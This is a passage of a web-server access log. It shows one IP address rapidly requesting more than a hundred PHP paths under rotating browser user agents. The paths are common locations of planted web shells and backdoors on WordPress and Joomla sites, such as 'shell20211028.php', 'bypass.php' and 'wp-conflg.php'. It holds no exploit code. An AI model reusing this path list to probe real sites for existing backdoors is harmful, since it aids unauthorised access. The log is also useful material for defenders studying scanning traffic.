(KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:44 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:45 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:00:46 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:47 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:48 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /web.php 